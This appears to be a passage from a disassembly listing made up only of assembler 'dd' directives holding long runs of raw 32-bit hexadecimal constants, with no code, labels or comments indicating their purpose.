		dd 8F86BBE7h, 7E33CE75h, 0FD6088Eh, 82C00390h, 0B1145D60h
		dd 0B93B29B2h, 0F1A29B2Bh, 80B023B8h, 63179D01h, 0F918BC6Ah
		dd 94A888h, 46665717h, 0DA5A3D28h, 0F2247052h, 0AEBF30FEh
		dd 61E838B0h, 25E1C500h, 114E26CEh, 8FC8A0EBh, 3E3D0703h
		dd 80A60A81h, 1F28442Eh, 0E709Fh, 0EDE53519h, 0C5BD593Fh
		dd 0B8009173h, 0F7FF22Bh, 0B370A7h, 616965FFh, 8F063474h
		dd 3835120Fh, 0C8C09F84h, 69794F67h, 0CD9A0005h, 0A5CE3477h
		dd 6C00F8C3h, 53840C06h, 726169Dh, 0D335F7E0h, 0CE326740h
		dd 0C049FCC5h, 9B96659Fh, 4F034E75h, 0DC2458A1h, 5303D064h
		dd 844B006Bh, 3A5104DEh, 0CB0EF94Dh, 42E992E7h,	9C597FA7h
		dd 0E73D1F04h, 50020615h, 5F00197Bh, 0F5FF75B1h, 666C571Ch
		dd 216509FCh, 75A93F1Dh, 0AD1E2D00h, 110885EEh,	6E4EF3h
		dd 0C5C32B77h, 620F38h
		dd 0C0B0425Ch, 1A3DCBFBh, 9816E60h, 0F128E0h, 13BB7641h
		dd 0EA7916B8h, 73FB0600h, 5AD645D7h, 74DA0092h,	4EC24FDEh
		dd 0A700B87Bh, 3902F00Bh, 304A98F3h, 0EE507812h, 5D0027F9h
		dd 2FC4798Eh, 80D8D4h, 95AAA4B8h, 53C1E8EAh, 0E08D812Ch
		dd 2F7D0602h, 23209EAEh, 7405DA01h, 9C415AFCh, 589B2FE0h
		dd 6D1909Eh, 0D9691AB2h, 9E1F471Eh, 0FD03EEDCh,	303826B6h
		dd 2C217C08h, 0E4009E27h, 12D4D29Bh, 0CC6444Ah,	5BEE7552h
		dd 145F8F61h, 3A68B4A1h, 5D8EB16h, 40FF73F6h, 7F9E358Ch
		dd 1A3036EAh, 0D0E5587Ch, 0C8B009DAh, 8F8CC61Bh, 0C506CD19h
		dd 7E70C34Dh, 68424430h, 0B093C814h, 0B1C60288h, 0A09BF86Eh
		dd 0E7C45180h, 74D80019h, 0AF731345h, 0CF0BDEC9h, 81489185h
		dd 9B2B37F8h, 0A0700ECCh, 162C84h, 272468D8h, 739284C1h
		dd 6C13C600h, 0AF6D0F5Bh, 3047F02Ch, 0A43054C2h, 0BB60EFC8h
		dd 0BA3FE080h, 0F218C060h, 8F23F8F9h, 0C72FE4F9h, 494E5C40h
		dd 0B7003073h, 15FA691h, 48076CAFh, 0A530403Ah,	0B849E970h
		dd 17DB14F4h, 980A9419h, 415487F0h, 0E16BF338h,	26218010h
		dd 4FC760B6h, 8361C078h, 2DF02ABFh, 771AB915h, 0AEB500DCh
		dd 3C9CFE28h, 0C87E0E81h, 0F9406CC7h, 0EAA716F1h, 12302572h
		dd 220631A8h, 60E17CA9h, 0DF1F5976h, 2B1C9D1Dh,	58CE3DB8h
		dd 0F2069F5Dh, 3C113B51h, 2A12CDE9h, 0DBC000EDh, 5AD9A6F7h
		dd 649A7109h, 0D8040A60h, 604FE408h, 0F50175AFh, 9156AC21h
		dd 75646068h, 1D95BA9h,	0DBF0D77Ch, 50D4D6B2h, 6513AE80h
		dd 70F87524h, 69232761h, 8EAFA400h, 48F23900h, 7CEA3FCAh
		dd 89DC640Fh, 759661E5h, 8C94F5C0h, 3A6544h, 1FAB75AEh
		dd 0B087B634h, 0EA3C1505h, 6C04E4A1h, 0B0305003h, 0F510FE75h
		dd 6BC85704h, 75A83C81h, 89DC6E9Eh, 0BF5F03D1h,	13E8A471h
		dd 0C2C80B4h, 2C2666FCh, 0F9192DAEh, 41817C69h,	4097DBB6h
		dd 0C77C47D6h, 412FC19Ch, 0B21182B5h, 90B0BBFFh, 0CC2C13D0h
		dd 0D221AB08h, 0C9BB370Eh, 30914C3Ch, 63960026h, 0BF6D241Eh
		dd 94303892h, 0EDF9615Eh, 0E02201A8h, 0D8780BEEh, 0F10898F6h
		dd 2CE61E21h, 4A343EA8h, 4DF20898h, 0C7F9F002h,	8E180C93h
		dd 0A44E6340h, 869100F4h, 162124FCh, 2502AE88h,	3856E943h
		dd 12F5E05Ah, 2805B8E6h, 7F787E1Bh, 0B33E1350h,	0FB900497h
		dd 0EBE143ADh, 3859534Bh, 6D3065A2h, 0AA9C00A5h, 3E207366h
		dd 595051EAh, 9A1F6EC0h, 0C5C3F0A2h, 67536647h,	48F380C8h
		dd 5DA6EA41h, 0C0345A09h, 0F36A9A9Bh, 0B1A10272h, 0E635FA3Dh
		dd 5BDBB900h, 5AC9074h,	40A9F1E8h, 518843B6h, 2ABB918h
		dd 50C5A6E1h, 573DBBD0h, 458F324h, 0E1EEEA40h, 0B989A8Fh
		dd 753E475Ah, 4882083Dh, 42AB06E8h, 9C0075B0h, 969AFC6Dh
		dd 2A32000h, 0C46EB772h, 0F2A9C0BCh, 34EA1D07h,	381E11D2h
		dd 0D043318Ch, 0F04205A8h, 0EBE3FE9h, 86A6C4A8h, 3090A06Ch
		dd 0E1442D09h, 60490E45h, 36E4B92Ch, 59BA601Eh,	12F6F3B8h
		dd 0BCE7592Bh, 2759401h, 3433A4F5h, 75AC3880h, 4030714Ah
		dd 81FF99B9h, 734500C4h, 0B6BE9B61h, 31C3704Eh,	8039FDAFh
		dd 1F803F96h, 871DB352h, 0C0C317B0h, 2F7354C9h,	0F562FA03h
		dd 0E1581C13h, 40F2CA29h, 0B14BEA80h, 0AC6B0824h, 3C46B828h
		dd 1EA8D101h, 0C0C0EE0h, 0EA2288EBh, 3E32A80Bh,	0BE200711h
		dd 202036C5h, 1024A8EBh, 0C80BFEE0h, 41880F0h, 0AD9A14A9h
		dd 4EB3B60Ah, 5340EC1Bh, 1F264C30h, 80CD2418h, 0A87271C1h
		dd 0D8016C64h, 8F99A006h, 80F6F061h, 624CBB60h,	0F15D06E9h
		dd 69E89463h, 865A5C00h, 0F5A5C67Bh, 0CE8C0020h, 0D21064DDh
		dd 8428FC66h, 320F8F2h,	9173B4h, 0F407763Bh, 8AA1FD01h
		dd 0FA04F8B9h, 8480FBADh, 4C5721B6h, 0F2248808h, 0AE970C68h
		dd 7D488740h, 41608C8h,	11EB8496h, 0DE880758h, 108E0FA4h
		dd 0C7C56688h, 4EB58880h, 5E19C072h, 0AF25F1ECh, 6DFCD800h
		dd 6C7A302Dh, 9BBF0251h, 0B3C47CCBh, 0E4E1D8C8h, 0F9A28C01h
		dd 0F3CD1C6Bh, 12E0AC60h, 165F464Fh, 43E40B08h,	2B00F4A9h
		dd 956B7FE1h, 0C625D201h, 632D3137h, 28AA830h, 6E73F9E0h
		dd 90A0B7E1h, 0B2DEFF4Ch, 2AB8BE4Ch, 0BB3D8002h, 49AE0213h
		dd 47742C3Bh, 61D54434h, 0B1F09B41h, 96FA0ABFh,	69A46BA5h
		dd 69117C97h, 0D1859A87h, 7470E2BBh, 5313F40Ch,	6C0A7B9Bh
		dd 0BE04A079h, 0A0C2D5C1h, 75BA30E9h, 0B4F50414h, 0B236E0D4h
		dd 10CB0475h, 809ED821h, 14CDB714h, 2792C200h, 0EA3D7D9Ah
		dd 0E0A82C36h, 790429DCh, 20D81962h, 0DBC00250h, 3DA17AAEh
		dd 72BBCCE0h, 0EEECC0C1h, 0C8604537h, 5098C29h,	893B92BBh
		dd 0ACC899E2h, 0BB3DF810h, 0ACB832E0h, 731CC91Dh, 36F4DB01h
		dd 9AFC5ACEh, 98ED5444h, 68BB0421h, 0C05CA7C8h,	711AB1E4h
		dd 153DE092h, 0C7C8036h, 0BCE5763Fh, 0F07A0255h, 0E417F1F2h
		dd 3CB23040h, 0A921BB0Fh, 0E08BA098h, 0BB120BBEh, 0BE107064h
		dd 0B78B3800h, 663FE060h, 870995Fh, 0EA06C237h,	0BDA16D35h
		dd 0D8A00FC2h, 294CB9C1h, 0BB48D307h, 6DD00CFCh, 26B0AC86h
		dd 2CABE74h, 0D8EEE89Ah, 6791D89Dh, 970C9480h, 4D094FF0h
		dd 40739374h, 12F2B74Ch, 0B441F8Bh, 48124AD0h, 0B69B4840h
		dd 38524680h, 9334FB75h, 0BCA8C020h, 0AF498C7Eh, 7CB04CECh
		dd 420B6C18h, 0C0741A10h, 0C7484349h, 1400ED94h, 6CE068F9h
		dd 65DD1h, 0E8C417C2h, 0D252C63Ah, 0BCAB7F2Ch, 0F09E1EC0h
		dd 100846EEh, 2D3C7C3Fh, 0C51F9E81h, 30B25635h,	0B0207B78h
		dd 6F07168Dh, 15400CFAh, 0DB009290h, 0F0E5A964h, 605F90BCh
		dd 0EA3B686Bh, 0ACA3D685h, 8B6553E8h, 0B88CD750h, 35B12201h
		dd 0D909E0E2h, 0A9CDDC40h, 912B2937h, 8A06C220h, 29E35B30h
		dd 11DCFF74h, 759380E8h, 8CCCF505h, 396044h, 7BC475ABh
		dd 0CEB9904Fh, 45D53D00h, 823F605Ch, 10989A55h,	24AED3E1h
		dd 953E64B9h, 0E4BD40h,	728B8714h, 4CD4F4D7h, 4A00DDAEh
		dd 5AE73DB8h, 9553B6Ch,	6297E1E0h, 30760058h, 34D38946h
		dd 1BE20015h, 4E381AF1h, 0DA1E67BAh, 7EC04DFCh,	0F501E590h
		dd 12D730C3h, 64AA1348h, 502FCE40h, 874441h, 0F65EC65Dh
		dd 0E1AA2CC5h, 0CC42EA26h, 81C44900h, 1C4B05EDh, 14C35B99h
		dd 7E1DB807h, 6398C00Dh, 0C9ABDB0h, 0FC170094h,	0BC4C1F07h
		dd 19F23C01h, 3FC0B057h, 59DCC8h, 0D94F13AAh, 2D628872h
		dd 4E01B978h, 6CDE9514h, 1862D76Eh, 0B426980Ch,	0EF3B0684h
		dd 0E9EE055Ch, 0A802925Fh, 0C0E890DFh, 0A4F0E114h, 0C61900DCh
		dd 50FD3070h, 7F30F32Ah, 59D8D05Ah, 0FCA45871h,	78D9F2C0h
		dd 5B3EE095h, 489D0087h, 63EC0CDFh, 2CF500B6h, 98E90BE3h
		dd 36008083h, 9C9F067Ch, 0F3B9357Bh, 3CF78ECh, 85D94819h
		dd 8185021h, 0E1207C87h, 0D378004Ah, 0F14BCC0Ch, 0FF006B30h
		dd 0E0C71227h, 0F8939B63h, 7BA000B9h, 0D5F78D48h, 0EF67FC8h
		dd 2E19DD63h, 35080095h, 66C661BFh, 4498D3ABh, 0B8AC724Eh
		dd 978E3000h, 9E9675E2h, 318A2E30h, 2BC93h, 64098771h
		dd 1D258268h, 0DDA1A900h, 720BCEEEh, 816B3176h,	0D9E9BD8h
		dd 19B2C1DAh, 6C52DAC1h, 78142C86h, 191DA203h, 0E8B27168h
		dd 0C1117A36h, 630F5B51h, 29C0E785h, 7B1DA11Fh,	61360144h
		dd 8E2F2020h, 0ABE980F1h, 0B307B10Dh, 0D5F50393h, 5F6AB84Bh
		dd 8940FADh, 19F0589Eh
		dd 0DF40E30Ah, 0D0353C39h, 0DB498FB0h, 0C0014594h, 9CE2E1F2h
		dd 899F9FAh, 0E93421D7h, 0C09EE845h, 0A50073E4h, 3FA2C96Fh
		dd 0C1F6C852h, 5B62FE60h, 70860939h, 8860EE83h,	80AD7638h
		dd 0A6774793h, 0E0263Dh, 0EABAF1E7h, 0ED562E8Fh, 14F0F400h
		dd 94916EB4h, 0FE7621h,	0AAA88A78h, 26E53BD4h, 0A93ECE00h
		dd 0FA510D46h, 2009002Ah, 0E62D384Fh, 0BA00247Ah, 4659F03Ch
		dd 0FEA4E73Bh, 0CE540077h, 0AD89958Fh, 250F5F73h, 4E767421h
		dd 7F200018h, 90C171B6h, 7354005Bh, 0AF51131Dh,	0C0003B4Eh
		dd 825A85DEh, 0FE03D7C7h, 3F22009Ah, 6FF0B24Bh,	45007DE6h
		dd 3586F552h, 0E49204h,	0FDFCA8A3h, 0CCAE1791h,	0A4791000h
		dd 0CABADC03h, 9A0104C1h, 80D2ACC3h, 4EA60AEEh,	6A01F770h
		dd 93F4026Fh, 1880FD2Dh, 0C0E6CAF5h, 0B21C47A4h, 5EC678D6h
		dd 10A568h, 4B0C50FEh, 7DAAD53h, 0A0376000h, 0E3093A62h
		dd 218B12A1h, 7A8E00E2h, 0FCA35855h, 866FF700h,	0DDE3CCCEh
		dd 0A6E80028h, 9D1BD2BCh, 39004124h, 23B1F6B0h,	0E48C1Dh
		dd 0E1949C5Ch, 0FC91CAB9h, 409BC200h, 6FA8E0EDh, 7D2701EFh
		dd 0D4D3AC13h, 642A2075h, 0B290A100h, 50E96B91h, 8BFE0738h
		dd 0B0AB0D0Fh, 71D6F114h, 1F05F648h, 0A600D459h, 89EBFE61h
		dd 376C0025h, 0DFA3A9F7h, 0B0075657h, 73F845E5h, 4D58CCh
		dd 0DCE1270Dh, 0E67924A4h, 36F74C01h, 0C8039E6Dh, 72735DC8h
		dd 1A7600CEh, 1186D6B9h, 0BCA8CB17h, 0FA02F0F8h, 0EF2330E9h
		dd 39084151h, 571F3888h, 841B2C80h, 0A1C120h, 7E7DC5CAh
		dd 0DFB0FFF8h, 0B975F51Fh, 76FEFA80h, 54AD0903h, 3CC82Ah
		dd 82D4347Bh, 0C7D5889Ah, 77054805h, 0F44E7407h, 407D0078h
		dd 3D39449h, 0DB6D3E8Fh, 8D02055h, 0C578D160h, 0E7F06700h
		dd 0AC538AD0h, 545200E9h, 8498E39Ah, 805B038h, 85DD6A23h
		dd 8B1FA9C1h, 78443FE0h, 637CFDh, 0D74B17A7h, 3E0E8D73h
		dd 0A8942E3Eh, 0D62CA013h, 0E3011D44h, 0D7C4CCF7h, 2E21D330h
		dd 3B97E1DAh, 0DC59C583h, 30001424h, 222A0D3Eh,	0E2535EEDh
		dd 7C2301C8h, 0EED0B3A3h, 407C61BDh, 84573B0h, 0B966F503h
		dd 0A12B5BC4h, 0ADD0B7C2h, 0BBE100E8h, 0FF5CAFABh, 7A7B5A83h
		dd 0FD6DD101h, 0EA8904B2h, 3C6CE2E0h, 5DA4A2F8h, 14960F4Bh
		dd 155C3300h, 0F3004EF9h, 2EF5038Ch, 7F93A813h,	3A139854h
		dd 9500D224h, 30EA8F53h, 0FB003D5Eh, 2A77FE09h,	7F1639h
		dd 0AE9E5B2h, 5B07529Dh, 1B742D18h, 2C3A8DE0h, 31B5D737h
		dd 1289D2D0h, 19C91829h, 2127BB06h, 1385FE8h, 0D3184ED1h
		dd 0D491B3D7h, 6A2432A2h, 4421879h, 283448F4h, 0E83A0063h
		dd 1637D924h, 88580899h, 1F5439E5h, 958098DAh, 0D165C5A6h
		dd 0EFF70335h, 524DF8BDh, 1A118803h, 0F1D60B8h,	0F6F97A78h
		dd 7C0CAE7h, 13C30CCh, 3402D489h, 65CF5C43h, 548491Fh
		dd 9DFBE8h, 71738D7h, 0BD3BB45Dh, 95928201h, 0E5CB29B9h
		dd 9CD1A8h, 0EE0E8CBCh,	8515FC84h, 5BA69800h, 0DE59C621h
		dd 6AA300DFh, 88197C9Bh, 0F8000228h, 3989A2FBh,	1F218726h
		dd 409036D2h, 0B7CDC31h, 1703F494h, 85082CD3h, 722AE095h
		dd 4B811EB6h, 34A50720h, 0E9B48069h, 0FC3040ACh, 0B9361035h
		dd 7984000Eh, 54E1197h,	0B8000809h, 0FA318375h,	7CC38B22h
		dd 0E01F44Dh, 0F8856756h, 0F3246DA1h, 89F7ECB3h, 6CCF3Ch
		dd 8D43C942h, 1EA74BBFh, 72FED54h, 0E1CA98DBh, 50263E8Eh
		dd 846A6DB4h, 51F8E300h, 0DC144FE9h, 0CF9D001Eh, 7376E86h
		dd 0B7184AAh, 3F26A60Fh, 0E57F40A8h, 68EBF6h, 2D429705h
		dd 8822C9F1h, 4414B47Eh, 7D76EFAh, 7BEA128Dh, 0F21C3010h
		dd 0ED9000F5h, 4AC30D2Eh, 0AA3A020Ch, 0D8EB014Bh, 0F81EB554h
		dd 3629B0C3h, 71155CE0h, 3BBD4500h, 0DEF44D35h,	84DD4Dh
		dd 0DAB508F5h, 437BE8h,	4A3489C0h, 0A0ED25A6h, 0AB1FC61Eh
		dd 9DD69441h, 0B040ADA7h, 0F510BAAh, 780EC06Eh,	0CAD00CC2h
		dd 17E7C44h, 82139AB8h,	5C00A7C3h, 0A0493D26h, 0CDC50FE2h
		dd 28A0355Ah, 84C636C1h, 0EE262B01h, 0DA653363h, 0A30460h
		dd 0A0A7829Ch, 71D1CB10h, 5102A603h, 61B71Ah, 98AF9018h
		dd 76A43993h, 0EEFE78C1h, 0C3309F06h, 360B5E8h,	2B7F6EE7h
		dd 2C149101h, 7732A68Bh, 24466520h, 81B00566h, 2F68EF13h
		dd 19642060h, 84893707h, 2930BC28h, 0B3228Fh, 56B89211h
		dd 5CB50668h, 0D1E8D500h, 0AFE69BACh, 63BA1D1Eh, 11A840BDh
		dd 0D33C655Dh, 40DF9500h, 2F6EEB3Bh, 50ADF0EEh,	966A0FAh
		dd 89D35F09h, 0F35B7B00h, 3B0E19B1h, 34679FA7h,	0CF5100F4h
		dd 9B61C49Ah, 0C3761250h, 0D54D009Ch, 37997780h, 5AD91700h
		dd 75CC9B95h, 1DBE9093h, 3BEBB1Eh, 60D7C277h, 0C0D2CC8h
		dd 6F7F2800h, 2B3B6263h, 6C700FD0h, 0C4C03C6Eh,	2CFEA368h
		dd 9796AE1Dh, 8E319FBDh, 2D9ACE40h, 72BFF27h, 0F35ABABFh
		dd 0FD8B026Fh, 6C959C82h, 0B280ED60h, 0B89A2000h, 6B125425h
		dd 0CA2105EEh, 0AAC3A50Ah, 0C006B7C2h, 0EE7E9A36h, 0FE8C0EB5h
		dd 7A08E91h, 6EEF34D5h,	0C4FC2200h, 77CB267Ch, 5A28C1D1h
		dd 20F0B49Dh, 0B000432Eh, 0D422173Dh, 0EF7B72h,	0E1ED1658h
		dd 0CBBF376Ah, 30FC0D00h, 99DDE55Fh, 2FC70184h,	0C0D56FFAh
		dd 0C2FEC80Ah, 74BE660Bh, 75BB8795h, 2FA72190h,	0F5900004h
		dd 336C9AC6h, 9200F6B4h, 0F4767D4Dh, 9CDD5Bh, 2B1F0EABh
		dd 50093CDEh, 70A0F4B2h, 0D2269DC1h, 0A001CF25h, 0B6FF1E7Fh
		dd 7BDC9ECh, 0FB2242B9h, 0D0FED705h, 623ADBD9h,	82639900h
		dd 5FC15C1Ah, 0F0E393Fh, 0E0932328h, 0D29630F8h, 0E84B5460h
		dd 89D44201h, 0A9DD9A3Fh, 6F5EDED0h, 181B2037h,	9E7DBCC1h
		dd 0C6008111h, 28CA522Ch, 0E0850057h, 94B258CCh, 0B9C05902h
		dd 0A32F8308h, 20113ED0h, 0C538D5B0h, 0CAF2D20Fh, 9806163Bh
		dd 55315D2Fh, 29945CBDh, 0B51F6606h, 40F410Ah, 0D5F7FE85h
		dd 45DE0458h, 0DB0C99D4h, 0DD0A95A0h, 400594EAh, 200AD300h
		dd 0B250C2h, 0BA6C5FB7h, 233F79EBh, 0E000ABFCh,	2D31B84Ah
		dd 3D29540Ah, 781ECB57h, 9D2680F4h, 6924A273h, 6FCD5001h
		dd 0B95EBC67h, 713EF0h,	0C3AC56F5h, 0E555CFC4h,	0B0C53803h
		dd 0A0D77DBAh, 72AA50h,	0FD1E21A4h, 3AE30D7Ch, 75091C00h
		dd 0F20C6FD9h, 88F4E9CEh, 111B002h, 35A6C49Eh, 60218332h
		dd 70034FBEh, 0D4391DF8h, 0DD82B8EFh, 40A80098h, 776A2037h
		dd 724DA604h, 8F13044Ch, 69C25693h, 305BC3B8h, 0B3218B09h
		dd 0FC0093C6h, 31E1B2BDh, 4F0F498Fh, 0E7EC7Bh, 0D6021DFEh
		dd 18212018h, 38841657h, 91157324h, 0BCCAFCh, 0C05B6AEh
		dd 95A35785h, 303AE3FEh, 0CEDF21AFh, 8F9D0005h,	0A194EFD0h
		dd 34184DFCh, 0F3897420h, 831B070Ch, 50BFA0h, 0C5297A1Eh
		dd 57208607h, 0EC009A40h, 0C45D6D30h, 885FCF38h, 7003F110h
		dd 9468DCD5h, 60AABAFh,	54C979A0h, 8300403Ch, 31E86C33h
		dd 47DE8Ah, 0FBB501C0h,	1D4855E3h, 0E75A200h, 8EF368CFh
		dd 0FE7800A6h, 3147ECF9h, 0D41303D6h, 0E0003C42h, 8650ED59h
		dd 95B3008Eh, 8A17FDB1h, 70000A04h, 677EDF42h, 8664A5h
		dd 0F9D313C4h, 726B8CD9h, 0A777D000h, 430F7A27h, 8E9C0079h
		dd 34F87304h, 75F8281Eh, 6FF1C61Fh, 0F0873100h,	0F007FDECh
		dd 1E907AFFh, 1FE975Ch,	6308596h, 0E8408370h, 881BB967h
		dd 0E0433Eh, 0DA0CA32Eh
		dd 383312C7h, 8460D498h, 0AA214DA1h, 0AB62009Ah, 24B36928h
		dd 0C900661Ah, 757FC82h, 1878A97h, 774C1E6Ah, 809EE31Bh
		dd 0C29B15C0h, 0C0F5EB13h, 47528310h, 0F31DE81Eh, 6070113Eh
		dd 372E9B8Eh, 40B8E3FDh, 0B8CE94Ch, 2F3E8900h, 8097A7F7h
		dd 6885607Ch, 7403B56Eh, 2BC81300h, 64C13419h, 1500055h
		dd 4C4E4F47h, 2801DB7Fh, 3BCB5BB2h, 0AB466353h,	5CB03008h
		dd 0B261F820h, 0C0A3B600h, 9A1A7E1Eh, 1ABE288h,	0FB7F7385h
		dd 0E81B5F4Fh, 2701B979h, 4549F8BAh, 5EF40462h,	48546002h
		dd 4A716FFBh, 3F259B3Bh, 32CF0EC2h, 4E6A84C3h, 4A160E03h
		dd 0F642B2F0h, 3CF02600h, 0F3978A02h, 304F78ABh, 4CC0E749h
		dd 40E6C880h, 0F39168C1h, 20B73747h, 0CBD5D091h, 893C84E8h
		dd 661B0111h, 43AB9961h, 80F19991h, 26064A1Ch, 22C34303h
		dd 51D00A7h, 87CB884Ah,	120096AFh, 328A6CCCh, 1EE9D567h
		dd 0C018F421h, 0FAD2754Fh, 5700C186h, 3249EEABh, 9E3BB85h
		dd 3A7C940Dh, 0B1F0CD80h, 1C006A42h, 0F95BB599h, 0E5AA707h
		dd 63DABFDEh, 704A48A0h, 7407C11Bh, 7FE36226h, 0F5184750h
		dd 37DF00F8h, 6E88F1E7h, 1707C178h, 0AEDDD6Ch, 382D160h
		dd 0B8DF7898h, 63F80098h, 0F9D4115Eh, 0C41F071Ch, 0D8402432h
		dd 2AD9BCBFh, 0D03500FFh, 0B83115DFh, 750F253Eh, 0E149561Fh
		dd 0AF2AC51Eh, 9C38ECh,	0D84F9B4Ch, 0FA5D15B6h,	9F308807h
		dd 3E43DE71h, 895F90F4h, 0A8F218h, 60EA5EA9h, 0CF9BF8D4h
		dd 54CB700h, 0B662479Ch, 544D0049h, 0D2103632h,	0C00EEFFBh
		dd 0E0C2B2BEh, 206D1A38h, 420E006Bh, 0CBD7C458h, 6003D564h
		dd 0D6ED5376h, 0B4E1E04Ah, 1E437629h, 400BB87Dh, 0B11BD036h
		dd 0AC00071Ah, 0CCB3D145h, 96096Dh, 0C7593F9Dh,	0CDE98F24h
		dd 80DA4F39h, 25AAE115h, 0B81FF9A8h, 2FB8076Dh,	10D3A339h
		dd 0B707896Fh, 5CAC7C00h, 57C6DF7Eh, 0FC811F53h, 0E5003984h
		dd 9D02593h, 72000D04h,	2186AA0Bh, 0F84F91h, 0ED4A62DBh
		dd 0F912EE64h, 0C5616E03h, 0E801B97Ch, 714047h,	0D3EF0A7Dh
		dd 0E853FAAh, 0A6F3561Eh, 5C005A9Ch, 0FA80E658h, 6549059Dh
		dd 0C0CBDB82h, 3709EF2h, 8F520F07h, 47045E8h, 1DEEC9BEh
		dd 1E88C537h, 0A8B24C9Dh, 71001271h, 54892AD2h,	13EE1E31h
		dd 1C4EC3Ch, 0D9EDD745h, 0E38E4DFh, 0EF7EB200h,	0E815351Dh
		dd 0E026E024h, 0FDAD1FD8h, 881F40CAh, 7BA20508h, 0BFE24600h
		dd 0E157B211h, 0E65A0098h, 0D74E3E6Dh, 61008604h, 0D29CFF14h
		dd 2C2BA5E7h, 151923h, 518DD5B6h, 50C0ECEEh, 84539CEBh
		dd 0E67F7Ah, 59D822A3h,	5E73E775h, 15FFCF00h, 7D514DB5h
		dd 0F1B0093h, 0D3450AA1h, 0E00DD2Eh, 0A7566DE8h, 3C6B6678h
		dd 7770A0h, 0C983850Dh,	4909AE2Ah, 0E24B6200h, 41966132h
		dd 6A7004DCh, 8756809Fh, 172D90EEh, 0F60EE9E1h,	0CFFDB9E0h
		dd 0A9D81C0h, 0BBC511D1h, 3A61B340h, 64D40E3Fh,	0BC0038C7h
		dd 158B37B9h, 57E44B0Fh, 0F6BA206Bh, 0F14292h, 0D1115467h
		dd 23302298h, 49A0691Fh, 0AA00266Eh, 0F1BF9304h, 9800BD75h
		dd 41534BD0h, 1C53B34Ch, 0DC8F4E1Dh, 5CB2C1BBh,	7E801470h
		dd 7A1BAF9Ah, 510743F1h, 225E9405h, 0E60C5520h,	0E09900EAh
		dd 4CC19BB4h, 0B9003FE8h, 799A211Eh, 30ED068Fh,	0AC184DCFh
		dd 1CEEB64Ah, 68851B00h, 3710B8E3h, 0F29F00D3h,	380F0C51h
		dd 1700837Eh, 0E6BAB12Ch, 0AE3070h, 16394802h, 7B502621h
		dd 80618F3Fh, 0EAEC90B8h, 5E83B36h, 0D06407A6h,	13678723h
		dd 1E8B7657h, 0E66304F0h, 0C0CEA900h, 8B19C23Fh, 0DD460087h
		dd 0EADB2B16h, 0B400FBC8h, 0EEAFCB24h, 0A8AAF0h, 999F376h
		dd 502A51EFh, 0C9B90703h, 0A01F7F1Ch, 3925B505h, 10009ECDh
		dd 332794C2h, 0F80035AEh, 0FA45AB40h, 0EF83DCh,	0B864FCA5h
		dd 0C2F9C5B2h, 0FBCE6A02h, 801EF3A6h, 0B9C6E1F1h, 2BF8015Ah
		dd 76253210h, 0C0668762h, 0A220CAD7h, 0F9641Dh,	2C2FB3E0h
		dd 0A8AB76EEh, 9CE27D3Eh, 8A0FA757h, 40C01FD7h,	0FD531199h
		dd 12AA00C1h, 0E4345C21h, 0D300154Ch, 1C0F8E0Eh, 1DE8A1h
		dd 4D43C29Ch, 633FB2C3h, 8EED8600h, 845745C4h, 7DCF0076h
		dd 0D4A0D180h, 34741FAAh, 8ED0FE00h, 96E1B666h,	0FF5F0744h
		dd 50EEB7E0h, 0AD047DC0h, 0F7944100h, 51E360CCh, 0CEAB0F78h
		dd 723CCBh, 7D601CCh, 311FFF52h, 9B402341h, 784E1273h
		dd 0F876C9h, 2AF33A5Ch,	578269BEh, 0AB015D0Ch, 0E24A0Fh
		dd 0DCE7B955h, 654C044Ah, 177B9E01h, 7D8969C2h,	5D8A4880h
		dd 0AC4A7F45h, 0FBBDFC12h, 38CFFC00h, 0E8CE6C1Bh, 0E46FEB0h
		dd 853A3D9Ah, 0EFB29781h, 35A9F0BFh, 91CED101h,	610BA028h
		dd 139C1DCh, 6640D722h,	805E95A4h, 0C0E69750h, 0E04C1463h
		dd 0E58900CAh, 419E144h, 0C00D4E2h, 26A2A560h, 85D517h
		dd 138E8C62h, 865C914Eh, 1500CCF6h, 71E1EE93h, 0ED3F66Ah
		dd 3E6A169h, 6D214AC1h,	0BD3EF450h, 8A64AF38h, 0DCE712E3h
		dd 6C30103h, 246F805Dh,	36E10047h, 91B1A832h, 9C7234AAh
		dd 584D0800h, 0F3CE655Ch, 0AD240029h, 48AE10DBh, 0FD007B75h
		dd 5A913FEFh, 3B461Ch, 56148EB8h, 0ECD103FFh, 8C6EE53Bh
		dd 10D9A71Dh, 7AD400EDh, 41E178DFh, 0C7F8C5BCh,	0A13F1301h
		dd 26B85CDAh, 0ED1BA0D7h, 9F7700FEh, 0E3BA3A47h, 0FA0F0ABBh
		dd 3FDECCFBh, 64136080h, 12C602D4h, 9DCA9Fh, 4670DA0Ch
		dd 0BC300D9Eh, 491010D6h, 7052F890h, 0EC194D53h, 26489205h
		dd 9D8400E6h, 936039EBh, 2E004374h, 6483B620h, 0F4DA69ACh
		dd 12B700C9h, 394B90C2h, 3B61E6EBh, 759FD238h, 49C03C40h
		dd 62087467h, 8EB55929h, 207801E3h, 2E04935Ch, 3D0347DAh
		dd 7D9034F5h, 5092FE71h, 51AB1CDCh, 76DC54FDh, 0D0623046h
		dd 0FEDA8CC8h, 0A2FC5321h, 0A09D601Ch, 0AE5D7360h, 170FD5ECh
		dd 0A785CA21h, 0A1D08B53h, 297204h, 2FFC14FBh, 27D2C701h
		dd 6AB1C301h, 4666925h,	6A58C2C4h, 1CDE6093h, 194E00ABh
		dd 1420C5FCh, 7FB1B305h, 0C10058A1h, 77D6EB98h,	0A93381Ch
		dd 0C1EAD29Eh, 1F0BE5FFh, 71498066h, 7018FE4Fh,	0D974010Fh
		dd 0EB53D1EAh, 2095D14Eh, 0C201947Bh, 0B27D85D0h, 0E8207468h
		dd 21B4A83Eh, 46B053h, 20458CB9h, 278A7CC7h, 0E97FD400h
		dd 0CFEB040Dh, 314162AEh, 90AFE53Ah, 0C2055801h, 0DB119E13h
		dd 29387B0Ch, 83C11FBAh, 2AF18312h, 7E879C3h, 0A2ECFF1Eh
		dd 933AC718h, 421DC1h, 4CCB6463h, 83612446h, 94208229h
		dd 3B0AFD00h, 65E25A5h,	0AE57546Bh, 0E900A8ECh,	73E12F71h
		dd 0CF268FCh, 5A209308h, 9A00A039h, 7276FF54h, 5F1E09h
		dd 7FA891D1h, 0D4390C1Bh, 156A502h, 44A69944h, 0CF8E003Ch
		dd 0C8A18BE8h, 1F71410Ah, 426E1C0h, 0FCE97DFh, 64E59144h
		dd 0F8222E49h, 1480C005h, 0E354FA92h, 0AB601013h, 0F7435C04h
		dd 0FF3F78C0h, 9ABA315Eh, 60761CF9h, 0F7008916h, 6441209h
